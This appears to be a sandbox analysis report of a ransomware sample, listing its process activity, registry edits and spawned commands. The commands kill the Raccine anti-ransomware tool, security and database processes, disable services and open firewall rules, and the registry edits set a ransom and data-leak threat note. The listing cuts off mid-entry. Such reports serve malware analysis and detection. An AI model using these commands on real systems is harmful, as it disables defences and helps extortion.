N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 500 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\reg.exe
PID 500 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\reg.exe
PID 500 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\reg.exe
PID 500 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\reg.exe
PID 500 wrote to memory of 3904 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\schtasks.exe
PID 500 wrote to memory of 3904 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\schtasks.exe
PID 500 wrote to memory of 4056 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 4056 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\netsh.exe
PID 500 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\netsh.exe
PID 500 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 4040 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 4040 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 2616 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 2616 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\sc.exe
PID 500 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 512 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 512 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\System32\Conhost.exe
PID 500 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\System32\Conhost.exe
PID 500 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1020 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 1020 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 3896 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\netsh.exe
PID 500 wrote to memory of 3896 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\netsh.exe
PID 500 wrote to memory of 3028 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 3028 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\SYSTEM32\taskkill.exe
PID 500 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\System32\Conhost.exe
PID 500 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\System32\Conhost.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe

"C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe"

C:\Windows\SYSTEM32\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\SYSTEM32\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\SYSTEM32\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\SYSTEM32\arp.exe

"arp" -a

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\SYSTEM32\taskkill.exe

